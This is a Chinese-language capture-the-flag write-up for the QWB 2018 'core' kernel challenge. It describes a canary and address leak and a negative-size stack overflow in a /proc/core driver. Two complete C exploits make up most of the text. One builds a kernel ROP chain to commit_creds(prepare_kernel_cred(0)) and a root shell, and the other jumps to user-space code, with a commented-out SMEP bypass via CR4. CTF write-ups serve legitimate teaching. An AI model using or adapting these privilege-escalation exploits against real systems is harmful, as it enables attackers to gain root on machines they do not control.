强网杯2018 core writeup

做出的第二道kernel pwn,依然感谢很多大佬的帮助。

程序共有四个功能,三个通过ioctl触发,一个通过wirte触发。

这个函数提供了copy to user的功能,而copy时的off是我们可以控制的,而且这题开了canary,因此我们可以通过这个洞来leak canary,以及leak出程序地址动态计算gadget的地址。

这个函数能够向name写数据。

这个函数从name memcpy到栈上的数组,而name数组的内容我们可以通过write函数来设置,通过一个负数溢出,我们就能够rop。

利用思路:

1
2
3
4
5
1.修改off,通过core_read leak canary和程序地址。
2.通过core_write向name上写rop。
3.通过core_copy_func栈溢出,rop。
4.rop调用commit_creds(prepare_kernel_cred(0)),然后swapgs,iretq到用户态
5.用户态起shell,get root

由于这题没有开smep,因此我们至少有两种做法,一种是直接在kernel空间rop,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

void shell(void) {
if(!getuid())
execl("/bin/sh", "sh", NULL);
exit(0);
}

int main(void){
int fd = open("/proc/core",O_RDWR);
if(fd<0){
puts("open core error!");
exit(0);
}
printf("{==dbg==} fd: %d\n",fd);

save_state();
void *page = mmap(0,0x500000,3,34,-1,0);
int ret;
char buf[64];
memset(buf,0,64);
puts("{==dbg==} set off");
ret = ioctl(fd,0x6677889C,0x40);
printf("{==dbg==} ret: %d\n",ret);

puts("{==dbg==} copy to user");
ret = ioctl(fd,0x6677889b,(void *)buf);
printf("{==dbg==} ret: %d\n",ret);
unsigned long long canary = ((unsigned long long *)buf)[0];
unsigned long long leak = ((unsigned long long *)buf)[7];
unsigned long long offset = leak-0xffffffff8118ecfa;
printf("{==dbg==} canary: %p\n",(void *)canary);
printf("{==dbg==} leak offset: %p\n",(void*)offset);

char rop_buf[0x1000];
unsigned long long * rop = (unsigned long long *)rop_buf;
int i=0;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = canary;
rop[i++] = 0x6161616161616161;//rbx
//ret
rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
rop[i++] = 0xdeadbeef;
rop[i++] = 0xffffffff81050ac2+offset;//iretq
rop[i++] = (unsigned long long)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = (unsigned long long)(page+0x400000);
rop[i++] = user_ss;


puts("{==dbg==} copy from user");
write(fd,rop_buf,0x800);
puts("{==dbg==} lets rop");
ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
printf("{==dbg==} ret: %d\n",ret);

return 0;
}

另一种是直接跳到用户空间去执行代码,commit_creds(prepare_kernel_cred(0)),swapgs,iretq,然后起shell。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

struct trap_frame{
unsigned long long rip;
unsigned long long cs;
unsigned long long eflags;
unsigned long long rsp;
unsigned long long ss;
}__attribute__((packed));
struct trap_frame tf;

void *page;

void get_shell(void){
execl("/bin/sh", "sh", NULL);
}

void init_tf_work(void){
asm("mov %cs,%rax;pushq %rax;popq tf+8;" //set cs
"pushf;popq tf+16;" //set eflags
"mov %ss,%rax;pushq %rax;popq tf+32;");
tf.rip = &get_shell;
tf.rsp = page+0x400000;
}


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff8109cce0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff8109c8e0;

void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("swapgs;mov $tf,%rsp;iretq;");
}

int main(void){
int fd = open("/proc/core",O_RDWR);
if(fd<0){
puts("open core error!");
exit(0);
}
printf("{==dbg==} fd: %d\n",fd);

page = mmap(0x13370000,0x500000,3,34,-1,0);
init_tf_work();
int ret;
char buf[64];
memset(buf,0,64);
puts("{==dbg==} set off");
ret = ioctl(fd,0x6677889C,0x40);
printf("{==dbg==} ret: %d\n",ret);

puts("{==dbg==} copy to user");
ret = ioctl(fd,0x6677889b,(void *)buf);
printf("{==dbg==} ret: %d\n",ret);
unsigned long long canary = ((unsigned long long *)buf)[0];
unsigned long long leak = ((unsigned long long *)buf)[7];
unsigned long long offset = leak-0xffffffff8118ecfa;
printf("{==dbg==} canary: %p\n",(void *)canary);
printf("{==dbg==} leak offset: %p\n",(void*)offset);

prepare_kernel_cred+=offset;
commit_creds+=offset;

char rop_buf[0x1000];
unsigned long long * rop = (unsigned long long *)rop_buf;
int i=0;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = canary;
rop[i++] = 0;//rbx
//ret
//如果开了smep
//rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
//rop[i++] = 0x6f0;
//rop[i++] = 0xffffffff81075014+offset;//mov cr4, rdi ; push rdx ; popfq ; ret
rop[i++] = (unsigned long long)payload;

puts("{==dbg==} copy from user");
write(fd,rop_buf,0x800);
puts("{==dbg==} let rop");
ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
printf("{==dbg==} ret: %d\n",ret);

return 0;
}